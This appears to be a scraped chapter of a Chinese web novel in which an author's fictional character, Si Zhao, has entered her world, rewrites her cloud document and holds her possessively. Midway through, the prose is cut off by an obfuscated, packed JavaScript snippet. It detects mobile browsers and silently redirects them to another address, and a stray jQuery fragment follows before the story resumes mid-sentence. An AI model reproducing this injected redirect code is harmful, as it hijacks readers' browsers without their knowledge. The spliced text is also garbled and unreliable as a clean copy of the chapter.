默认冷灰
24号文字
方正启体

5. 第3次敲门

作者:未偶本书字数:K更新时间:
    一只冷白的手抽走手机,郁酒酒闭上眼,深呼了口气,浑身颤栗着。


    他、他应该不认识简体字吧。


    可是……


    写大纲的时候、写正文的时候都是用的简体字。


    啊啊啊——


    冰凉的呼吸自头顶传来,郁酒酒冷得发颤。


    司钊常年盘踞北境,一身冷意,藏也藏不住的血味。


    “作者大人为什么这么写?”


    沉默许久的青年用漫不经心的语调念出:“我来了几秒,便回去了?秒是什么?”


    指尖触碰到屏幕,云端文档自动往上划,司钊的眉眼一点点晦暗下去。


    那双红色的眼睛开始窥魂,他引诱着郁酒酒回答。


    失去意识的前一刻,郁酒酒想闭眼睛,却被司钊掐住后颈。法术撑住眼皮,她被迫同他交汇眸光。


    长宽不等的四方形发光物体,屏幕上方是密密麻麻的文字以及数字,下半部分是一个个有诡异图形的小格子。


    手指一碰,蹦出来一个图形,再一碰,屏幕的文字便一起变化。


    司钊:“为什么我并没有回去?而之前的事却发生了。”


    郁酒酒失魂:“因为没有保存。”


    “什么是保存?”


    “左上角的对号。”


    “什么是对号?”盯着屏幕的司钊疑惑。


    “司钊,你好笨。”郁酒酒握着他的指尖,去点屏幕。


    温热的触感传来,司钊的瞳孔扩散了一瞬,他恍惚了一瞬间,难得温和的目光落下来。


    手机被司钊握在手里,他虚揽着郁酒酒,将她放在绵软的沙发一角,而他整个人靠坐在沙发上,从背后环抱着她。


    “删掉这一句。”司钊眼中的血色愈来愈浓。


    “哪一句?”


    “‘我来了几秒,便回去了。’这一句。”


    他的嗓音总是有一种北境寒冬的雪意,落下来冷冷的,可听得久,就像久冻失温后,涌过来的氤氲潮热。


    “好。”郁酒酒无光的眸看向他,一字字删掉。


    “再写一段。”司钊起兴。


    “写什么?”


    “2024年……”司钊根据《司钊手记》前面的内容推算时间,看到这一节是:


    【2024年2月9日】


    【我找到了作者大人。】


    那今日是2月9日。


    而时限最长的一节是:


    【2024年1月1日-2024年1月30日】


    【北境生恶灵白骨,我去处理,月余方能归来。】


    司钊沉沉地笑了一声。


    他有什么便学什么,让郁酒酒打字:“2024年2月9-30日,我在作者大人家里小住。”


    司钊写得开心,却没注意到眼神恢复灵动的郁酒酒,她动不了,却意识到自己在他怀里。


    望着自己的双手在26全键盘上飞舞,却一动不能动,郁酒酒很难说这是一种什么感觉。


    司钊不紧不慢地说出下一句:


    “作者大人似乎很喜欢我。”


    【2024年2月9-30日】


    【我在作者大人家里小住。】


    【|】


    光标在屏幕上跳动,一闪一隐……


    “我才不要喜欢你!”


    郁酒酒抬手便去夺手机,猛地撞上司钊的下巴,他痛得嘶了一声。


    “那就……”司钊身形散为雾气,下一秒,出现在餐边酒柜旁,他慢悠悠地坐在繁复雕花的高木凳上,声音难掩失落,“不要喜欢我好了。”


    “作者大人,对号在左上角。”


    司钊冲郁酒酒摇摇手机,摁下去。


    朝他奔来的郁酒酒听见手机叮咚一声,那是云端同步的提醒。


    郁酒酒忽然哭了,她觉得一是委屈,二是想到……


    大半个寒假里,司钊居然要和她住一起。


    等等——


    2月哪来的30日?


    错误的日期会生效吗?


    司钊眉心微蹙,她似乎有点开心?


    下一秒郁酒酒擦去眼泪,雀跃地跑向他,路过冰箱时,还拿了一瓶冰镇的桃子汽水,插了一根吸管。


    “保存的文字就会生效,既然注定我们要小住在一起,那你先把程陆解开。”


    “可以。”


    司钊明明什么也没做,程陆却缓缓倒下。


    “程陆!”


    郁酒酒赶着去扶他,还没碰到程陆时,程陆便不见踪影。


    “司钊!你又做了什么?”郁酒酒声音清婉,有些脆意,听起来很是圆润。


    她真是后悔极了。


    怎么能因为渴望探索这个故事的结局,就写下那句“我来找作者大人了”。


    还连累程陆……


    自责、愧疚、不忍在郁酒酒脸上流转,她眼中泪意丰盈。


    司钊低笑一声,眉眼不曾动,就那样望着她的神色,一分一秒都不想错过。


    “酒酒。”司钊唤她的名字,似乎情深意切,在安抚她。


    “他只是睡过去了,人就在……”司钊耐心解释:“不知道是作者大人家的哪间屋子里,不过我确定那里有张床,床头还有……他的画像。”


    郁酒酒松了一口气。


    把照片认成画像……也只有他能做得出来。


    何况,依据大纲设定,不论是哪个时期的司钊,都绝不会撒谎。


    “可你刚刚说,想杀了他。”


    “嗯,没想到作者大人这样不经吓?”


    “……”


    “看作者大人的神色,似乎有些不满意,那我去杀了他?”


    司钊眼皮一抬,血瞳泛着红光。


    “你不会了,你真要杀他,刚刚就杀了。”郁酒酒摇头。


    “作者大人创造了我,果然知我心中所想,比世间任何一个人都了解我。”


    司钊声音里有股难言的悲哀,“您那样维护他,让我想起一位友人,她也曾如您一样维护我、爱护我。”


    郁酒酒:嗷,是女主啊。


    《不羡》中,司钊并不是纯粹的恶毒反派,他与男主势均力敌,如果时运倒置,恐怕司钊就是男主了。


    书中他是不曾被女主选中救赎的人,是二选一中被放弃的那个一。


    身为作者,郁酒酒自然偏爱他多一点。


    “司钊,抱歉啊,一开始我想过你做男主的。”


    红衣束发的青年侧过脸,神色眸光通通躲在阴影里,叫人看不清,声音冷冷地落下来。


    “不必了。”


    郁酒酒握住冰凉的汽水瓶,她在温暖如夏的室内,喝着解热的冰镇汽水,却一点都不畅快。


    倾尽心血的书中人来到眼前。她身为作者,知道他在那个世界全部的伤痛与过往,却还是读不懂他。


    “作者大人啊……您笔下字字句句皆是我心之所向。一字一句加起来,才有今日的我。我有什么好后悔的?”


    他的语调慵懒,漫不经心,听起来脉脉含情。


    但这是每逢司钊暴怒杀人时,郁酒酒才会描写的那一种。


    “难道是——您后悔了?”司钊眸中闪着血光,他一根根掰开郁酒酒的手指,将她攥住的桃子汽水搁在餐柜上。


    他还是那样倚坐在桌旁,靠在高木


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026399|194431||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    桌凳椅背上,缓缓抬起手。


    流光一现,郁酒酒一瞬恍惚,撞进司钊冰冷的怀中。


    那样冷。


    淡淡血味经久不散,却又是那样微弱的味道。


    “亲爱的作者大人……”司钊抵着怀中人的肩窝,声音含情藏欲,又是偏执的杀意,“是您后悔创造了我吗?”


    郁酒酒的下巴被迫抵上司钊的肩,她努力仰起头,才能够呼吸说话:“不后悔,永远也不会后悔。”


    “嗯?”司钊拥她更紧,似乎在汹涌浪潮里,抓住世间唯一能叫他活下去的浮木。


    他是在问“为什么”,却偏偏不肯说。


    郁酒酒失笑。


    司钊就是这样拧巴,他曾在无间地狱里被人舍弃,茫茫人世间无人能依。


    后来他见过世间最和煦的光,却又被放弃。正是因为总会被放弃,这时候的他便不再袒露心迹。


    郁酒酒轻轻拍着他的背,语调又柔和又清扬。


    “司钊,你是我倾尽心力创造的第一个角色,如果不是因为签约审核,主角设定要符合正向价值观,你会成为男主角的。我的第一位男主角。”


    “不需要。”


    耳畔传来冷硬的声音,郁酒酒无奈说:“那论反派角色,你也是第一个,这样会不会好一点?”


    “有……”


    他声音很轻。


    “松开我,好不好?”


    司钊没回应,却是张开怀抱,看她一站起身,便去够他手里的长宽不等的方形物体。


    郁酒酒只好拿回来那瓶桃子汽水,向他伸出掌心,“手机还我。”


    司钊握着手机,笑意不辩喜怒,郁酒酒总觉得是错觉,浓郁的笑意里,他眼睛里为什么会有忧伤?


    室内的灯光落得恰到好处,他一半脸隐在影中,另一半却在暖光下……


    司钊勾起唇角,不过一瞬,又落下来。


    “作者大人是说说好话,然后用桃子汽水毒来毒晕我吗?”


    郁酒酒:“?”


    哦,上一次,她骗他那是橘子汽水毒,他还挺会举一反三。


    司钊:“所以是吗?”


    郁酒酒:“不是不是不是!”


    她有些急,音调转了好几个玩,尾音又无奈地拖长。


    “那是什么?”司钊问。


    “好喝的水,可以喝,绝对不会毒死人。用不用我喝给你看?”


    郁酒酒随即吸了一口,神色骄傲,似乎在说:你看吧,没毒。


    “哦,看来是没毒。”


    司钊迈开腿往冰箱处走去,他自己拿了一瓶汽水,插上一根透明的吸管。


    “你还我手机!”郁酒酒跟在他身后。


    “不还会怎样?”


    司钊说话时,眼尾会微微上扬,那样澄澈,却会在愤怒兴奋时染上血色。


    他这样,神色眸光,似乎还能看见少时洒脱清朗的心性。


    窗外是寒冷冬日,时不时飘来雪花。


    郁酒酒有些失神,等小住过这段时间,她应该不会再见司钊了,也不会再写什么《司钊手记》……


    “给。”


    冰镇的橘子汽水被司钊递给郁酒酒,他抽出桃子汽水里的吸管,就着瓶口灌了一口。


    “我喝过的……”郁酒酒震惊。


    “所以会怎样?”司钊又喝过一口,冷声说:“作者大人,我喝桃子汽水,才不用什么……五颜六色的空管。是您和他喜欢用。”


    司钊的眸光裹挟着占有欲,毫不掩饰地望过来。


    “所以,您越是用他的喜好讨好我,我越想发疯。”


    “您要是再把我认成他——”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)